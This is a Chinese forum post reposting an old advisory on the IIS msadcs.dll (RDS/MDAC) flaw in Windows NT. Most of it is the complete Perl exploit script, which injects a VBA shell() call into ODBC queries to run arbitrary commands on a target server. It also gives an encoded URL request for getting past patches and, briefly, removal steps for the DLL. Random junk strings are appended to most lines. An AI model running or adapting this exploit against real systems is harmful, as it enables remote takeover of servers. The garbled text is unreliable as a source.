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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) Tc88U8Gc  
2 !;4mij,  
涉及程序: rp'fli?0e  
Microsoft NT server S-rqrbr|AT  
#`p>VXBj!  
描述: r0 X2cc  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 !GIsmqVY  
9iFe^^<ss  
详细: `>sqP aD  
如果你没有时间读详细内容的话,就删除: zDl, bLiJ  
c:\Program Files\Common Files\System\Msadc\msadcs.dll JA{YdB;il  
有关的安全问题就没有了。 ]Qu12Wg}P  
z$Nk\9wm  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 Dz50,*}J  
jO,<7FPs5  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 r/4]b]n  
关于利用ODBC远程漏洞的描述,请参看: b}4/4Z.  
k_a'a)`$6  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm .HQ<6k:  
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2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 2 T3DV])Q  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp 4jz]c"p-  
r{Q< a  
这里不再论述。 +z D'r5  
2:N_c\Vi  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: ) ,hj7  
jkP70Is  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset <!N;(nZ9}O  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! ?8,N4T0)  
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#将下面这段保存为txt文件,然后: "perl -x 文件名" ? g{,MP5  
H n!vTB  
#!perl Cv~hU%1T  
# (7b_g6>:  
# MSADC/RDS 'usage' (aka exploit) script spx;QLo  
# nwo!A3w:  
# by rain.forest.puppy )/Xrhhx  
# N 9&@,3  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me CCY|FK  
# beta test and find errors! C%c `@="b  
4) 3pa*  
use Socket; use Getopt::Std; DjIswI1I  
getopts("e:vd:h:XR", \%args); 8-5 jr_*  
B%@!\ D#  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; "|'`'W  
62x< rph  
if (!defined $args{h} && !defined $args{R}) { (A'q@-XQ  
print qq~ $cOD6Xr)d  
Usage: msadc.pl -h <host> { -d <delay> -X -v } _ <a)\UR  
-h <host> = host you want to scan (ip or domain) mF}k}0  
-d <seconds> = delay between calls, default 1 second ];d:z[\P  
-X = dump Index Server path table, if available tMZ(s  
-v = verbose NoAb}1uae  
-e = external dictionary file for step 5 gwaC?tf[  
^Ai_/! "  
Or a -R will resume a command session R[9PFMn  
lq8ko@  
~; exit;} }PIB b  
$ XsQ e  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; K2rS[Kdfaq  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} q7 oR9  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} 6+;2B<II  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); x0A %kp&w  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} %H}Y]D~R  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } mjl!Nth:<  
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if (!defined $args{R}){ $ret = &has_msadc; LEngZ~sV/  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} \Tf{ui  
wt.{Fqm  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" sR>;h /  
. "cmd /c "; Z^`=!n-V  
$in=<STDIN>; chomp $in; V=4u7!ha  
$command="cmd /c " . $in ; :iQ^1S` pH  
i)=89?8  
if (defined $args{R}) {&load; exit;} ]6%%X+$7  
mERZ_[a2  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; {.D2ON  
&try_btcustmr; _IKP{WNB  
E"1 ;i  
print "\nStep 2: Trying to make our own DSN..."; 9MtJo.A  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; d!QD vO  
KpbZnW}g  
print "\nStep 3: Trying known DSNs..."; FSwgPIO>  
&known_dsn; h>^jq{yu  
3@F+E\k  
print "\nStep 4: Trying known .mdbs..."; c7l!G~yx'  
&known_mdb; @2~O^5[>  
Q"6hD?6.  
if (defined $args{e}){ y|+~>'^JR  
print "\nStep 5: Trying dictionary of DSN names..."; v_ nBh,2  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } ,4>WLJDo  
F%_,]^ n[  
print "Sorry Charley...maybe next time?\n"; 3n84YX{  
exit; zsMw5C  
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############################################################################## ngkeJ)M0$  
'^F|k`$r  
sub sendraw { # ripped and modded from whisker \;B$hT7z*  
sleep($delay); # it's a DoS on the server! At least on mine... Zn<(,e  
my ($pstr)=@_; 61+pryW%g  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || K* _{Rs0P  
die("Socket problems\n"); V:(w\'wm  
if(connect(S,pack "SnA4x8",2,80,$target)){ 8`inRfpY  
select(S); $|=1; >0<KkBH  
print $pstr; my @in=<S>; ycl>git]  
select(STDOUT); close(S); ] EVe@  
return @in; ^!o1l-Y^gr  
} else { die("Can't connect...\n"); }} !7kLFW  
KXx@ {cv  
############################################################################## PQ&Q71  
/_:T\`5uO  
sub make_header { # make the HTTP request DUuC3^R  
my $msadc=<<EOT {glqWFT  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 2iR:*}5  
User-Agent: ACTIVEDATA tJ h3$K\  
Host: $ip 5&-j{J0iV  
Content-Length: $clen T[4[/n> i  
Connection: Keep-Alive =!g/2;-or  
 *_ {l  
ADCClientVersion:01.06 5v !DYx  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 "BLv4s|y7L  
"%}Gy>;  
--!ADM!ROX!YOUR!WORLD! TJyH/ C  
Content-Type: application/x-varg Gdf1+mi  
Content-Length: $reqlen XAQ\OX#  
u>t|X}JH  
EOT @`IXu$Wm(  
; $msadc=~s/\n/\r\n/g; ;o_V!< $  
return $msadc;} 43{_Y]  
PQU3s$  
############################################################################## n{.*El>{  
Ere?d~8  
sub make_req { # make the RDS request <uBhi4  
my ($switch, $p1, $p2)=@_; #Cg}!38  
my $req=""; my $t1, $t2, $query, $dsn; G.-h=DT]  
q:2aPfo&  
if ($switch==1){ # this is the btcustmr.mdb query GCP{Z]u  
$query="Select * from Customers where City=" . make_shell(); [xZ/ZWb/  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . SG dfhno;  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} y~== waZw  
2,8/Cb  
elsif ($switch==2){ # this is general make table query j[m_qohd7  
$query="create table AZZ (B int, C varchar(10))"; IDGQIg  
$dsn="$p1";} {z5V{M(|w3  
vgh ^fa!/  
elsif ($switch==3){ # this is general exploit table query J8GXI:y  
$query="select * from AZZ where C=" . make_shell(); gqP -E  
$dsn="$p1";} o27 3|*  
}@rg5$W  
elsif ($switch==4){ # attempt to hork file info from index server 9S:{  
$query="select path from scope()"; dN]Zs9]  
$dsn="Provider=MSIDXS;";} inr%XS/m  
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elsif ($switch==5){ # bad query 4T-,'P{?  
$query="select"; >-_:*/66!  
$dsn="$p1";} 6?3/Ul }  
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$t1= make_unicode($query); fV.A=*1l#  
$t2= make_unicode($dsn); 4 |zdXS  
$req = "\x02\x00\x03\x00"; L;1$xI8tx  
$req.= "\x08\x00" . pack ("S1", length($t1)); u%6Irdx  
$req.= "\x00\x00" . $t1 ; u( V  
$req.= "\x08\x00" . pack ("S1", length($t2)); [K/O5_  
$req.= "\x00\x00" . $t2 ; dN$ 1$B^k  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; a"0B?3*r46  
return $req;} 4 [R8(U[g  
QHHW(InG<  
############################################################################## ZdE>C   
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sub make_shell { # this makes the shell() statement sBP}n.#$  
return "'|shell(\"$command\")|'";} 5cyddlaat  
o }9M`[  
############################################################################## _'! aj +{  
&\;<t, 3A~  
sub make_unicode { # quick little function to convert to unicode T[5gom  
my ($in)=@_; my $out; pY+.SuM  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } 7ei>L]gm%  
return $out;} L.C ^E7;Z_  
zY7*[!c2  
############################################################################## kZV^F*7  
zW*}`S "  
sub rdo_success { # checks for RDO return success (this is kludge) +R|U4`12  
my (@in) = @_; my $base=content_start(@in); k1ipvKxp:8  
if($in[$base]=~/multipart\/mixed/){ {Oy9RES qc  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} =)(3Dp  
return 0;} 5SoZ$,a<e  
NoFs-GGGh  
############################################################################## SQq6X63 \  
1^Kj8*O8e  
sub make_dsn { # this makes a DSN for us Yw6DJY  
my @drives=("c","d","e","f"); 6B7<  
print "\nMaking DSN: "; Uby,Tu  
foreach $drive (@drives) { <U@P=G<t  
print "$drive: "; $7Jfb<y  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . nkCecwzr-  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" Sg-g^ dIN1  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); ,\BVV,  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; cU7rq j_  
return 0 if $2 eq "404"; # not found/doesn't exist 8|1`Tn}o  
if($2 eq "200") { 5;X {.2  
foreach $line (@results) { +68+PhHF  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} 2{Wo-B,wt~  
} return 0;} ~R :<Bw  
7IA3q{P  
############################################################################## z7-`Y9Ypd  
+O)]^"TG  
sub verify_exists { :=rA Yc3]  
my ($page)=@_; FJO"|||Y'|  
my @results=sendraw("GET $page HTTP/1.0\n\n"); J&A;#<qY  
return $results[0];} M-{*92y& |  
}X=87ud  
############################################################################## 6!ZVd#OM%  
\.c]kG>k-  
sub try_btcustmr { Y8)}P WMs  
my @drives=("c","d","e","f"); _Ny8j~  
my @dirs=("winnt","winnt35","winnt351","win","windows"); =kd YN 5R  
|r5e{  
foreach $dir (@dirs) { sC% b~  
print "$dir -> "; # fun status so you can see progress Hl4\M]]/&  
foreach $drive (@drives) { ddo ST``G  
print "$drive: "; # ditto HV ;;  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; PKi_Zh.D  
$reqlenlen=length( "$reqlen" ); GtF2@\  
$clen= 206 + $reqlenlen + $reqlen; Z`rK\Bc  
Ee&hG[sx  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); } <SNO)h3  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} vKU`C?,L  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} :bwM]k*$  
>B0D/:R9  
############################################################################## |Dg;(i?  
{T&v2u#S  
sub odbc_error {  VJ3hC[  
my (@in)=@_; my $base; $Z/klSEf  
my $base = content_start(@in); hF2/ y.:P  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this (Up'$J}  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; L{=l#vu  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; N;<//,  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; lj)f4zu  
return $in[$base+4].$in[$base+5].$in[$base+6];} vK(I3db !  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; CoJ55TAW  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . ^"1TPd|  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} cFLd)mt/  
(B&h;U$HAH  
############################################################################## $'^&\U~?  
YZibi  
sub verbose { X6xx2v%D  
my ($in)=@_; [Gh"ojt]w  
return if !$verbose; {1~9vHAZ  
print STDOUT "\n$in\n";} VMx%1^/(  
NH'iR!iGo  
############################################################################## tevQW  
Kh)F yV  
sub save { `|]e6Pb  
my ($p1, $p2, $p3, $p4)=@_; }'lNi^"XL  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; Q!K`e)R  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; [G a~%m  
close OUT;} B s,as  
NgHpIonC  
############################################################################## +jtA&1cf  
" \:ced  
sub load { MD<-w|#8IV  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; 1i u =Y  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); +3Y!xD?=  
@p=<IN>; close(IN); AliRpxxd  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); ~n6[$WjZA  
$target= inet_aton($ip) || die("inet_aton problems"); ;-Ss# &  
print "Resuming to $ip ..."; H>.B99vp  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; >dk 9f}7-  
if($p[1]==1) { "x&3Z@q7  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; h~w4, T  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; a=+T95ulDy  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); x5OC;OQc  
if (rdo_success(@results)){print "Success!\n";} o 7G> y#Y  
else { print "failed\n"; verbose(odbc_error(@results));}} cOkgoL" 4  
elsif ($p[1]==3){ pCC7(Ouo  
if(run_query("$p[3]")){ '"'Btxz  
print "Success!\n";} else { print "failed\n"; }} H] k'?;  
elsif ($p[1]==4){ .Pw%DZ'  
if(run_query($drvst . "$p[3]")){ -4flV D  
print "Success!\n"; } else { print "failed\n"; }} S$e Dnw~$  
exit;} u g\w\b  
Qw?+!-7TN  
############################################################################## w(B H247`  
A62<]R)n  
sub create_table { gDCOLDM  
my ($in)=@_; "}b'E#  
$reqlen=length( make_req(2,$in,"") ) - 28; m_* R.a  
$reqlenlen=length( "$reqlen" ); .#fPw_i  
$clen= 206 + $reqlenlen + $reqlen; :[sOKV i  
my @results=sendraw(make_header() . make_req(2,$in,"")); K;U39ofW  
return 1 if rdo_success(@results); kX[fy7rVt  
my $temp= odbc_error(@results); verbose($temp); wGJjA=C  
return 1 if $temp=~/Table 'AZZ' already exists/; knT.l"  
return 0;} 5j eO"jB  
]` ]g@v  
############################################################################## 0@)%h&mD  
frN3S  
sub known_dsn { r7 VXeoX  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go NP/>H9Q2%  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", s /%:dnij  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", n|i"S`  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); Sdd9Dv?!  
Ftv8@l  
foreach $dSn (@dsns) { 1$ML#5+,  
print "."; >t3'_cBC!  
next if (!is_access("DSN=$dSn")); 6:?rlh  
if(create_table("DSN=$dSn")){ )"`!AerJ  
print "$dSn successful\n"; 4:mCXP,x  
if(run_query("DSN=$dSn")){ |NrrTN?>  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { <\@ 1Zz@ms  
print "Something's borked. Use verbose next time\n";}}} print "\n";} }B q^3?,#{  
47UO*oLS  
############################################################################## f: xWu-  
dvjTyX  
sub is_access { S #8 >ZwQ  
my ($in)=@_; F9H~k"_ZJR  
$reqlen=length( make_req(5,$in,"") ) - 28; (][LQ6Pc  
$reqlenlen=length( "$reqlen" ); a3@w|KLt  
$clen= 206 + $reqlenlen + $reqlen; lj2=._@R  
my @results=sendraw(make_header() . make_req(5,$in,"")); tNnyue{p  
my $temp= odbc_error(@results); ;/LD)$_  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); u+D[_yd^  
return 0;} x*}bo))hb  
4;KWG}~[o  
############################################################################## 0JY WrPR  
<7n]Ai@Y  
sub run_query { 1H{jy^sP7  
my ($in)=@_; R$m`Z+/@  
$reqlen=length( make_req(3,$in,"") ) - 28; DQJG,?e{  
$reqlenlen=length( "$reqlen" ); &mE?y%  
$clen= 206 + $reqlenlen + $reqlen; ](K0Fwo`;"  
my @results=sendraw(make_header() . make_req(3,$in,"")); &~-~5B|3"  
return 1 if rdo_success(@results); 1S$h<RIPAc  
my $temp= odbc_error(@results); verbose($temp); 2cf' ,cv@8  
return 0;} !gP0ndRJ=  
Yck~xt&]  
############################################################################## q\$6F)ha3  
9z ?7{2C  
sub known_mdb { K:5eek  
my @drives=("c","d","e","f","g"); *P2[qhP2  
my @dirs=("winnt","winnt35","winnt351","win","windows"); |n6Eg9  
my $dir, $drive, $mdb; x &=9P e(  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; A0xC,V~z  
~kKrDLW+  
# this is sparse, because I don't know of many x#8w6@iPQ  
my @sysmdbs=( "\\catroot\\icatalog.mdb", J]pa4C`  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", eThy+  
"\\system32\\certmdb.mdb", I@ \#up}  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% UQT'6* !  
.q;ED`G  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", Hl7:*]l7b  
"\\cfusion\\cfapps\\forums\\forums_.mdb", m)&znLA  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", \#dl6:"  
"\\cfusion\\cfapps\\security\\realm_.mdb", Q M 1F?F  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", F#V q#|_)>  
"\\cfusion\\database\\cfexamples.mdb", {G*QY%j^  
"\\cfusion\\database\\cfsnippets.mdb", GsV4ZZ  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", M{N(~ql  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", 6Nh0  
"\\cfusion\\brighttiger\\database\\cleam.mdb", d^V$Z6* ]  
"\\cfusion\\database\\smpolicy.mdb", E9 Y\X  
"\\cfusion\\database\cypress.mdb", 9=+-QdX+0]  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", tRfm+hqRZ  
"\\website\\cgi-win\\dbsample.mdb", 5/I_w0  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", >a>fb|r  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" I cF@F>>  
); #these are just smU4jh9S  
foreach $drive (@drives) { 61K"(r~  
foreach $dir (@dirs){ kA#vByf`v  
foreach $mdb (@sysmdbs) { MagMZR  
print "."; J7&DR^.Sw  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ py<_HyJ  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; <GIwRVCU  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ &__DJ''+  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; *l>0t]5YH  
} else { print "Something's borked. Use verbose next time\n"; }}}}} /c-nE3+rn  
(> "QVxr  
foreach $drive (@drives) { w|Aqqe  
foreach $mdb (@mdbs) { bEH de*q(  
print "."; V1bh|+o9  
if(create_table($drv . $drive . $dir . $mdb)){ qfL-r,XS`F  
print "\n" . $drive . $dir . $mdb . " successful\n"; TI9X.E?  
if(run_query($drv . $drive . $dir . $mdb)){ Cmd329AH  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; @}LZ! y  
} else { print "Something's borked. Use verbose next time\n"; }}}} [*Ju3  
} ,4@|1z{bfm  
')#,X^   
############################################################################## | {P|.  
zV.pol  
sub hork_idx { :nGMtF  
print "\nAttempting to dump Index Server tables...\n"; e<\<,)9@/  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; (GU9p>2  
$reqlen=length( make_req(4,"","") ) - 28; f~M8A.  
$reqlenlen=length( "$reqlen" ); 1~5trsB+5  
$clen= 206 + $reqlenlen + $reqlen; 'Z8aPHD  
my @results=sendraw2(make_header() . make_req(4,"","")); r|R7- HI  
if (rdo_success(@results)){ kDsIp=  
my $max=@results; my $c; my %d; $aP(|!g  
for($c=19; $c<$max; $c++){ I4e+$bU3  
$results[$c]=~s/\x00//g; :Ml7G  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; vK$^y^  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; yfe'>]7  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; =xl~][  
$d{"$1$2"}="";} FxU'LN<;HY  
foreach $c (keys %d){ print "$c\n"; } Wk7WK` >i  
} else {print "Index server doesn't seem to be installed.\n"; }} g1[&c+=U`P  
Px;Cg 6  
############################################################################## 3'eG ;<F  
X"*^l_9-v  
sub dsn_dict { !~ rt:Z  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); @u9Mks|{  
while(<IN>){ 0!#; j{JQ  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; rY}B-6qJn  
next if (!is_access("DSN=$dSn")); 1mW%  
if(create_table("DSN=$dSn")){ p^QZq>v  
print "$dSn successful\n"; /L~m#HxWU  
if(run_query("DSN=$dSn")){ :L$4*8@`+  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { Q:o 7G|C  
print "Something's borked. Use verbose next time\n";}}} ^%[F8\}XPJ  
print "\n"; close(IN);} NGTe4Crx  
')TPF{\#  
############################################################################## GESXc $E8  
*HlDS22  
sub sendraw2 { # ripped and modded from whisker =uV,bG5V1  
sleep($delay); # it's a DoS on the server! At least on mine... ltA/  
my ($pstr)=@_; e3(<8]`b[  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || \"^% 90F  
die("Socket problems\n"); ]((i?{jb(  
if(connect(S,pack "SnA4x8",2,80,$target)){ `a4 $lyZ  
print "Connected. Getting data"; RQ' H!(K  
open(OUT,">raw.out"); my @in; J=}F2C   
select(S); $|=1; print $pstr; {d!Y3+I%G  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} IgX4.]W5  
close(OUT); select(STDOUT); close(S); return @in; ?U9/fl  
} else { die("Can't connect...\n"); }} lOerrP6f(  
bhg}-dto  
############################################################################## 2{o10 eL  
oY3>UZ5\  
sub content_start { # this will take in the server headers 8T5k-HwE  
my (@in)=@_; my $c; {B{i(6C(  
for ($c=1;$c<500;$c++) { j\2[H^   
if($in[$c] =~/^\x0d\x0a/){ `gguip-C  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } C{m&}g`  
else { return $c+1; }}} Cvn$]bt/s  
return -1;} # it should never get here actually 2p< Aj!  
?2`$3[ET-  
############################################################################## aiux^V  
[.cq{6-  
sub funky { >&K!VQ{g  
my (@in)=@_; my $error=odbc_error(@in); 5h^[^*A?  
if($error=~/ADO could not find the specified provider/){ ti_u!kNv  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; bkv/I{C>?  
exit;} \ TL82H@D  
if($error=~/A Handler is required/){ .Ff_s  
print "\nServer has custom handler filters (they most likely are patched)\n"; 1f//wk|  
exit;} 8wFn}lw&  
if($error=~/specified Handler has denied Access/){ P6Xp<^%E  
print "\nServer has custom handler filters (they most likely are patched)\n"; fl uGf  
exit;}} +/cgw,  
Gp|JU Fo  
############################################################################## q=0 pQ1>  
=/Juh7[C  
sub has_msadc { uqZ3Hyb  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); ^gg!Me  
my $base=content_start(@results); E(Gr0#8  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); eyB_l.U7  
return 0;} 9g@NcJ]  
-Ktwo_ V*  
######################## 0m=(W^c  
uiMIz?+  
JvJ;bFXD  
解决方案: Q[_Ni15  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll J/kH%_ >Ir  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 4#2 ,Y!  
8+(c1  
拿出来充数 哈哈
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